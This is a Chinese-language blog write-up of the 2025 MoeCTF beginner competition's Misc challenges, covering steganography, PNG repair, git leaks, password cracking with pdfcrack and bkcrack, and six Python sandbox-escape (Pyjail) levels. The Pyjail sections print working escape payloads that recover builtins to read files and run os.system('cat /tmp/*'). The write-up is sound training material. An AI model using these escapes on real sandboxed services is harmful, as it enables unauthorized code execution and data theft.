2025MoeCTF(Misc全)
时间过的真快,马上要2026MoeCTF了,这边也宣传一下2026MoeCTF吧,作为新生赛确实是很有意思,也很有设计感,我去年打的很开心,也很推荐26的学弟学妹能够积极去打,海报附在下边了(新生赛就别AI了吧,尽可能多多自己去思考)
那最近不知道发点什么,发一下2025MoeCTF的来炒冷饭吧
里边的内容可能有点幼稚,很多是去年这个时候写的,还请见谅,我也会改一下加入自己现在的见解的
等过几天再炒一次2025MoeCTF的冷饭,炒一下Pwn的,Pwn现在写了一大半了,应该能在2026MoeCTF开始前写完剩下的(不摆烂的话

Misc
Misc入门指北

上来的第一题就很有意思,我很喜欢MoeCTF在每一个板块都会很用心写一份入门指北,对于不知道如何入门的新生帮助很大
misc就更有活了,第一题的flag直接藏在这个入门指北本身的pdf里边了


其实是经典的调成了白色的看不见而已,如果下边调黑其实也能出

所以flag就是moectf{We1c0m3_7o_tH3_w0R1d_0f_m1sc3111aN3ous!!}
ez_LSB

很简单啊一看就是lsb隐写,那就放到stegslove里边看看就好了

看见这样一串字bW9lY3Rme0xTQl8xc19zMF8xbnQ zcmVzdDFuZyEhc2o5d2R9
看起来就很像base64啊。毕竟48个字符数字也正好对应

解得moectf{LSB_1s_s0_1nt3rest1ng!!sj9wd}
重新看这道题,其实这边有两个值得思考的点,1是LSB的本质是什么,2是Base64的本质是什么
当初做这题只想着赶紧搞出flag就是大成功了,现在想想应该好好深挖的
就来说下吧,首先是LSB的本质
我们知道,图像的每一个RGB通道都是一个0-255的八位数字
然而,若我们去轻微改变每个颜色的最后一位,这意味着数字只浮动1的大小,这种改变是无法被人眼察觉出来的
这最后一位“最低有效位”就叫LSB(Least Significant Bit),我们可以依靠这一位来隐藏一些二进制,如果我们对多个像素进行利用,就获得了多比特位的存储空间,这种空间里也就可以存储需要隐写的数据了,而这一种隐写就是LSB隐写
另外就是Base64编码的本质
其实是把每3个字节拉出来,一个字节8bit嘛,所以是24bit
24bit给分成了4组,也就是每组6bit,之后映射到一个表上(所以有一类题就是改了这个表
那如果最后分完没有3个字节了,比如最后就剩下1-2个字节了,那就会用=来填充
SSTV

结合提示,这个音频其实就是sstv的电码,听的我耳朵都要炸了
下个RXSSTV解码一下
由于SSTV工具是根据音频传递图片信息,正常解法需要一台设备播放一台设备收音,所以需要一个虚拟声卡,还能避免杂音的干扰

然后利用虚拟声卡我们就成功得到了flag
moectf{d3codiNG_SStV_reQu1REs-PATI3nC3}
SSTV,全称是Slow Scan Television,也就是慢扫描电视,这就是一种通过音频信号来传输静态图像的一个技术,算是音频隐写吧,我们也可以利用pysstv库来实现这个行为的其实
其本质是把图片的一个像素亮度映射为了频率,然后越亮就频率越高,彩色图片就发送各自颜色对应的各自的亮度
捂住一只耳

真的很喜欢muisc的misc
这个根据题目,应该是一个左右声道分离的事情

很明显啊上边的有问题,先导出来看看

听上去像摩斯电码

找个现成的网站搞一下,flag出来了moectf{half_radio_in_xdu}
Enchantment

这题说是图片、附魔台听不懂,但给了一个流量包,打开来看看

打开很明显发现了一个图片文件,直接选择Http导出即可

从文件头可以看出应该是png,把前后的多余东西删掉

打开来还真是个附魔台,还是时运三,有点东西啊
注意到附魔台的文字其实是“标准银河字母”

就是直接对照着标准银河字母解密罢了,
第一行:the_flag_is_below
第二行:now_you_have
第三行:mastered_enchanting
所以答案就是moectf{now_you_have_mastered_enchanting}
这边当时试了半天以为是别的,以后还是可以留心一下,因为其实这种编码考的还是很多的,虽然只是对照图片去进行解码而已,其实意义不是很大,不过新生赛出着玩一下还是很有意思的
出题人尤其喜欢玩原神的特殊字符,看见可以先往那边想()
ez_png

平平无奇吗,有点意思,看看照片

这边说跟颜色无关,所以可以排除lsb隐写之类的了
骨骼,怀疑是藏东西了,binwalk一下

看见有俩zlib

提取出来先
3E直接空了,没用,删了

直接就有flag了:moectf{h1DdEn_P4YlOaD_IN-Id4T}
这题也是没那么简单其实,首先第一个问题就是zlib是什么,第二个问题是为什么要zlib,最后是为什么binwalk会出现那么多的zlib结果
首先zlib其实是个压缩的字节流,其存在的意义是在PNG图片中无损压缩像素数据,好让我们拿到的图片大小减少,避免占用过多的容量
对于普通的png图片来说,真正用于图像像素数据的zlib其实就只有一条,在IDAT,不是每一个IDAT块都会各自压缩一次的,而是把他们连起来才得到了一条完整的zlib数据流
对,所以普通的其实就只有一个zlib,binwalk搞出那么多其实是因为其只甄别了四个zlib的文件头,出现就报一个,我们压缩数据又近似随机,于是就出现了大量误报而已
Rush

gif图片,我们可以利用stegSlove一帧帧看,然后提出二维码那一帧

还是个残缺的

其实补一个二维码的定位符就好了
moectf{QR_C0d3s_feATUR3_eRror_c0RRECt10N}
ez_锟斤拷????

这是连续的 UTF-8 容错字符以 GBK 解码的结果

我们直接在乱码恢复网站搜索即可

可以看到这边有
moectf{EnC0d1ing_gbK_@nD_Utf_8_1s_4un!!ewwww}
moectf{EnC0d1ing_gbK_@nD_Utf_8_1s_4un!!ewwww}
encrypted_pdf

加密pdf

密码是简单的,可以想到是弱口令爆破或者字典
去kali用pdfcrack试试看就好
pdfcrack -f "不知道写什么.pdf" -w rockyou.txt

得到密码qwe123,继续


有提示啊,直接搜吧


还有后半段,很神奇吧
moectf{Pdf_1s_r3a1ly_c0lor4ul_ihdw}
我去还不对吗

矢量化一下吧

moectf{Pdf_1s_r3a1ly_c0lor4ul!!ihdw}
这下对了
ez_ssl


题目说了是SSL加密传输的,所以开始想找一下预主文件,先tcp搜一下log


上传的是ssl.log,不是这个

好这个对了,就是这个
放入tls(自动解密这些加密的内容


(上边是原来的)

可以看到多了不少文件
![]()
这zip都写脸上了,导出一下

果然是个zip,打开来是flag.txt,说是密码是七位纯数字,那爆破起来很方便了

可以把这个冗余的删了

然后去爆破就好了,很快的,16s
密码为:6921682

Ook编码

moectf{upI0@d-l0G_TO-DeCrYPT_uploAD}
万里挑一

给了一大堆,真正有内容、在变化的内容就是一些数字和小写字母的集合

数了一下是20个字符,不可能是去爆破的,如果爆破要大概要一年以上呢
所以肯定不是这样子做的

先多重嵌套解压一下

解压之后利用循环结构从G:\Misc\password\0\0\0\0中的pwd.txt文件遍历到G:\Misc\password\9\9\9\9的pwd.txt文件
再根据这些文件里的内容都是The password is:3ce3a183fdf9cb067c67的原理把冒号之后的3ce3a183fdf9cb067c67内容提取出来

就有密码字典了,爆破即可

得到密码a296a5ec1385f394e8cb

额还有第二层?直接把明文写脸上了吗
但是我们找不到多余的信息了
根据明文的提示,我们不可能直接构造flag.txt,一定是通过明文.exe来搞出flag.txt的
这边我们新建文件,直接写4D5A90000300000004000000
直接拿这个最常见的Windows可执行文件12字节来创建个文件尝试明文爆破(主要还是利用了ZipCrypto很老的特点,知道一部分可以推出全部)
这边要注意明文的条件,不止有ZipCrypto加密这一条,还要是Store压缩,如果是Deflate倒也可以,不过就需要完整的明文文件了,别的连明文都不行

bkcrack.exe -C 1.zip -c "明文.exe" -p mingwen.bin

解得如上,我们得到了key:eec878a3 6808e48f 3aa41bd8
bkcrack -C 1.zip -k eec878a3 6808e48f 3aa41bd8 -U new.zip easy
设置个新密码easy


easy作为密码直接打开就是了,然后就得解了(这个exe是没啥意义打不开的那种)
moectf{Y0u_h4v3_cho5en_7h3_r1ght_z1pf1le!!uysdgfsad}
weird_photo

题目给了提示说是CRC有问题了,CRC作为冗余校验码来检验宽高的

所以其实就只是宽高有问题而已,改改就是了
我们可以利用已知CRC来写一个宽高的爆破脚本
import binascii
import struct
# 打开图片
crcbp = open("photo.png", "rb").read()
# 读取图片中的CRC校验值
crc32frombp = int(crcbp[29:33].hex(), 16)
print("图片中的CRC值:", crc32frombp)
# 枚举所有可能的宽度和高度组合
for i in range(1, 4096): # 宽度1-4095
for j in range(1, 4096): # 高度1-4095
# 构造IHDR块数据(不包括长度字段)
data = crcbp[12:16] + struct.pack('>i', i) + struct.pack('>i', j) + crcbp[24:29]
# 计算CRC32值
crc32 = binascii.crc32(data) & 0xffffffff
# 比较CRC值,如果相同则找到正确的图片尺寸
if crc32 == crc32frombp: # 修复了这里的语法错误
print("找到正确的图片尺寸:")
print("宽度:", i, "高度:", j)
print('十六进制 - 宽度:', hex(i), '高度:', hex(j))
exit(0)
print("未找到匹配的图片尺寸")

moectf{Image_Height_Restored}
WebRepo



扫一下是这个内容,我们试着binwalk一下

有个7zip

定位后提取

后缀一改,类似于是个git泄露的题目

在这边我们可以看到在这个版本有flag的痕迹,我们利用指令
git reset --hard 249ff41401736165cd4514cee7afcd31ecfe7d09
回退到该版本


成功在同目录下还原flag
本质上是把当前分支的指针移动到249ff41401736165cd4514cee7afcd31ecfe7d09的地方,然后暂存区恢复成该提交的快照,再把工作区也给恢复成旧版
Encrypted volume


压缩包打开就这俩,我研究了半辈子第一个文件到底藏啥了死活没研究出来
毕竟是0kb,我想半天想不明白能有啥,然后去爆破容器了,也不行
结果刚刚想到说可能是这个rar有问题

果然,早该binwalk一下的,藏了个png

是个二维码,扫出来是这个:@(s<"A3F:89x541Ux[<
应该就是密码了,我们直接vc一下

打开容器是个txt,是brainfuck编码

其实蛮简单一题,就看能不能找到png了,找不到就做不出来,找到了就很顺
哈基米难没露躲

是一个txt文件,打开来全是哈吉米

我怀疑有哈吉米编码了

主要是我之前刷到过这个视频()

搞半天不能用2.0的哈吉米翻译器,必须用1.0的简单base64加盐哈基米

搞半天还是假的!!!fakeflag{you_can_try_searching_text_Steganography}
叫我搜文本隐写,想不到什么文本隐写
我想复制这个text_Steganography去搜一下,结果中间爆出一堆问号
应该就是零宽了

果然啊!!!moectf{1b8956b9-a423-4101-a1bd-65be33682c82}

二血直接拿下!!!
现在看其实不知道当时在兴奋什么,好有活力 (
2048_master

这题做的很乱,我也是思路很乱
拿到一个exe游戏,直接玩我是没有那个心思
肯定是先想能不能ida一下


主要还是看见了字符串的内容,明白了flag藏在flag.txt中,但是不能提取出来,考虑到是2048,试试看能不能直接用CE修改数值


这边发现分数的确可以调,但是没法得到flag
因此转变思路变成了修改上部内容
而上边的内容不是直接用CE能解决的


这边发现生成了一个layout.dat会随时跟着exe更新
于是逆向思考能不能修改这个得到flag

结合提示修改为2048,发现已经输出异常了

此时随便按两下就有了
moectf{Y0u_4re_a_2048_m4st3r!!!!r0erowhu}
MoeCTF指导版
史上最恶心人之题

先照着按

这边数数的时候不能再点投喂了

24


主要是9.1
我写了半天才发现下边这个

13930
所以是14101(有加分。)

???

重新搞了一次,73
所以账号是
241410173



。我又被恶心了两遍,一个是压根没看前边有几个汉字,第二次是没想到是前三句,我还以为是前两个问题

还有一句这个,所以第三块变成了14+28+14=56
241410156

我们输入password

改为incorrect!(我就知道又要搞我)


能看清的也是神人了

找到之后直接看元素方便点
xbhiuebkjvs

填入******


我们似乎必须先按一下翻转然后才能按出flag(或许是因为之前说flag被嵌在里边了吧)

我再也不想做这题了
moectf{76498885-9445-3f2c-67e0-95ad523665c8}
Pyjail 0


还要先搞ncat(其实我当时本来就有nc,我以为不一样还专门下了个ncat(


搞了个中文版的
根据题目提示,先输入反着的内容,通过验证码
接下来输入文件地址,这边说和第十二章一样,那就应该是在环境变量里
直接输入/proc/self/environ看看

直接就出了
其实现在我还是不太会pyjail,没怎么学习过相关内容,有的借鉴了https://zhuanlan.zhihu.com/p/1960724940614530550的,谢谢这位师傅
Pyjail 1

看看源码

先看看python代码
其实我觉得有点像web题?
这边过滤了五个函数,我们的目标就是print出在/tmp目录下的flag文件
import杜绝了用别的方法打开,open也被过滤了,但我们必须打开才能看见flag
这边我们可以利用chr()一个个拼成最后的open,因此print中后半部分为
[chr(111)+chr(112)+chr(101)+chr(110)]('/tmp/flag.txt').read()
但是光构造没用啊,必须要内置函数
为了逃逸python沙箱,我们需要利用getattr函数这个核心技巧,来安全访问内置函数

为什么一定要构造的那么复杂?

于是得到最后的payload:
print(getattr(__builtins__, '__dict__', __builtins__)[chr(111)+chr(112)+chr(101)+chr(110)]('/tmp/flag.txt').read())
具体步骤如图


得到flag
Pyjail 2

内容一致,就只是python程序不一样了

在刚刚的基础上又过滤了一大堆这种特殊字符,寻找方式绕过
由于下划线被禁,不能用刚刚的方法了
先搞明白刚刚的原理是什么

主要是这样子六步
但由于被禁,我们无法获取__builtins__对象,也无法访问其__dict__属性,无法获取函数字典
这边考虑主要是这样子绕过
1,利用getattr与chr构造得到各个函数
比如我们这边可以用
getattr(chr(95)+chr(95)+chr(103)+chr(101)+chr(116)+chr(105)+chr(116)+chr(101)+chr(109)+chr(95)+chr(95) )
来替换'__getitem__'
2,利用global()函数获取全局变量字典
利用这两步,分别以此构造出read函数,open函数等等即可得到最后的payload

这边分为了八步:
1,global函数获取全局变量字典
2,获取字典的 __getitem__方法,使用 getattr获取 __getitem__方法,也就相当于了[]操作符

3,利用步骤二的getitem方法获取 __builtins__对象

4,有了 __builtins__对象,即可访问获取open函数

5,调用open函数打开文件
6,获取read

7,用read打开文件
8,打印即可
print(getattr(getattr(getattr(globals(), chr(95)+chr(95)+chr(103)+chr(101)+chr(116)+chr(105)+chr(116)+chr(101)+chr(109)+chr(95)+chr(95))(chr(95)+chr(95)+chr(98)+chr(117)+chr(105)+chr(108)+chr(116)+chr(105)+chr(110)+chr(115)+chr(95)+chr(95)), chr(111)+chr(112)+chr(101)+chr(110))(chr(47)+chr(116)+chr(109)+chr(112)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)), chr(114)+chr(101)+chr(97)+chr(100))())

得到flag
Pyjail 3


这边可以看见直接把__builtins__改成None了,也就是说我们无法调用所有的内置函数

可以先试试看,至少简单表达式是可以的
接下来要想想看还有哪些Python对象可以用
虽然我们的__builtins__没了,但是字面量对象本身还存在,比如空元组仍然可以创建
我们测试().__class__依旧会返回
<class 'tuple'>
所以我们是可以通过对象的__class__来拿到他的类
可以一路从tuple类拿到python最基础的一个object类
().__class__.__base__
于是我们可以从object开始找所有的子类
().__class__.__base__.__subclasses__()
我们要找的不是普通的,而是有__globals__的
我们可以找一个由Python代码实现的,这种一般有__globals__
[c for c in ().__class__.__base__.__subclasses__() if "warning" in c.__name__.lower()]
找到关键类

找到了这个warnings.catch_warnings
它是 Python 标准库里的类,它的 __init__ 是 Python 函数,因此它可能带有 __globals__
也可以直接验证嘛
[c.__init__ for c in ().__class__.__base__.__subclasses__() if c.__name__=="catch_warnings"]

确实是函数对象
之后看看其全局变量有没有__builtins__
[c.__init__.__globals__.keys() for c in ().__class__.__base__.__subclasses__() if c.__name__=="catch_warnings"]

所以我们现在有了__builtins__
别的就都一样了
[x for x in ().__class__.__base__.__subclasses__() if x.__name__=="catch_warnings"][0].__init__.__globals__["__builtins__"]["open"]("/tmp/flag.txt").read()

moectf{f682e91c-843e-0b5d-5b0f-8ef4f014a1c8}
Pyjail 4

说真的看见这个提示心都能凉半截

这边作者用了一个AST节点
AST是抽象语法树Abstract Syntax Tree的意思
简单来说不是解析字符串的,而是解析的代码部分,禁止出现forbidden_attrs里存在的属性代表的访问操作
看起来禁止了很多,但没有禁止 __traceback__、tb_frame、f_back、f_builtins
另外这个AST里边禁止了__getattribute__,事实上是无效的

继续往下看还会发现其需要我们输入的是Base64之后的内容
看看这些未被禁止的,正好就是本题给我们留的口子
对于别的print、len、filter、list等函数调用完后会因为这个被销毁栈帧,所以现在最好用的就是Exception,结合留__traceback__没被拦,可以打印traceback对象
继续往栈帧走,发现tb_frame以及f_back可用
虽然我们自己被exec执行的那一层的builtins被限制过,但是f_back指向的是外层的chall()函数调用栈,其运行环境里的builtins不是这个安全字典
所以我们可用从这一层的f_builtins里去取
所以我们可以打traceback链,通过Exception到__traceback__,再从里边的tb_frame到f_back到f_builtins回到外层真实的执行环境
try:
1/0
except Exception as e:
print(e.__traceback__.tb_frame.f_back.f_builtins["open"]("/tmp/flag.txt").read())

dHJ5OgogICAgMS8wCmV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgIHByaW50KGUuX190cmFjZWJhY2tfXy50Yl9mcmFtZS5mX2JhY2suZl9idWlsdGluc1sib3BlbiJdKCIvdG1wL2ZsYWcudHh0IikucmVhZCgpKQ==

moectf{7f9509b8-a274-1cef-4774-464c19e130d6}
得到flag
Pyjail 5

先看一下代码

可用看到源码禁止了AST的Attribute节点,也就是a.b这种访问
但是其没有禁止match-case,简单来说就是获取一个表达式然后将它的值和case块里定义的模式一个个比较,匹配到了就执行代码
在这边match-case最关键之处在于其不会被AST识别为一个属性访问操作
而且执行环境里开了object,所以我们可用利用match-case来得到我们想要的object.__subclasses__而不被AST给禁止掉
之后就很明确了,和之前思路一样,去遍历找 warnings.catch_warnings,然后取它的 __init__.__globals__,拿到 __builtins__之后直接import os然后得到system去cat
match object:
case object(__subclasses__=s):
for c in s():
match c:
case object(__name__="catch_warnings", __init__=i):
match i:
case object(__globals__=g):
b=g["__builtins__"]
imp=b["__import__"]
os=imp("os")
match os:
case object(system=system):
system("cat /tmp/*")
转一下Base64
bWF0Y2ggb2JqZWN0OgogICAgY2FzZSBvYmplY3QoX19zdWJjbGFzc2VzX189cyk6CiAgICAgICAgZm9yIGMgaW4gcygpOgogICAgICAgICAgICBtYXRjaCBjOgogICAgICAgICAgICAgICAgY2FzZSBvYmplY3QoX19uYW1lX189ImNhdGNoX3dhcm5pbmdzIiwgX19pbml0X189aSk6CiAgICAgICAgICAgICAgICAgICAgbWF0Y2ggaToKICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSBvYmplY3QoX19nbG9iYWxzX189Zyk6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBiPWdbIl9fYnVpbHRpbnNfXyJdCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpbXA9YlsiX19pbXBvcnRfXyJdCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBvcz1pbXAoIm9zIikKICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1hdGNoIG9zOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2Ugb2JqZWN0KHN5c3RlbT1zeXN0ZW0pOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzeXN0ZW0oImNhdCAvdG1wLyoiKQ==

moectf{18aa8f09-0963-4d6d-edd9-5b96587c93e4}
Pyjail 6


源码貌似和pyjail 5几乎一模一样,但是改的地方很难受,它把object给关了
我们现在只能用Exception和str了
但是想法还是想能不能绕过得到object,拿回builtins
想到str.__mro__[1]可以带出object
但是正常这样子写肯定会被AST拦截,我们可以自定义__import__来让其返回任意对象,然后用
from x import __mro__ as m
得到object之后就可以像之前那样利用match-case来得到后续了
def imp(*a,t=str):return t
__builtins__['__import__']=imp
from x import __mro__ as m
o=m[1]
match o:
case o(__subclasses__=s):
pass
for c in s():
match str(c):
case n if 'catch_warnings' in n:
cw=c
break
match cw:
case o(__init__=i):
pass
match i:
case o(__globals__=g):
pass
b=g['__builtins__']
match b:
case {'open':op}:
pass
case o(open=op):
pass
f=op('/tmp/flag.txt')
match f:
case o(read=r):
pass
raise Exception(r())
转一下base64
ZGVmIGltcCgqYSx0PXN0cik6cmV0dXJuIHQKX19idWlsdGluc19fWydfX2ltcG9ydF9fJ109aW1wCmZyb20geCBpbXBvcnQgX19tcm9fXyBhcyBtCm89bVsxXQoKbWF0Y2ggbzoKIGNhc2UgbyhfX3N1YmNsYXNzZXNfXz1zKToKICBwYXNzCgpmb3IgYyBpbiBzKCk6CiBtYXRjaCBzdHIoYyk6CiAgY2FzZSBuIGlmICdjYXRjaF93YXJuaW5ncycgaW4gbjoKICAgY3c9YwogICBicmVhawoKbWF0Y2ggY3c6CiBjYXNlIG8oX19pbml0X189aSk6CiAgcGFzcwoKbWF0Y2ggaToKIGNhc2UgbyhfX2dsb2JhbHNfXz1nKToKICBwYXNzCgpiPWdbJ19fYnVpbHRpbnNfXyddCm1hdGNoIGI6CiBjYXNlIHsnb3Blbic6b3B9OgogIHBhc3MKIGNhc2UgbyhvcGVuPW9wKToKICBwYXNzCgpmPW9wKCcvdG1wL2ZsYWcudHh0JykKCm1hdGNoIGY6CiBjYXNlIG8ocmVhZD1yKToKICBwYXNzCgpyYWlzZSBFeGNlcHRpb24ocigpKQ==

得到flag:moectf{5f9725ab-651d-3059-6353-6f03d38a1c31}
唉,写的越来越水了(,pyjail还是不熟练,如果有错误欢迎大家在下边评论,另外我再次推荐下边这两篇
https://zhuanlan.zhihu.com/p/1960724940614530550
希望能更新快一点吧,好像有点摆,唉,学的好慢
更多推荐


所有评论(0)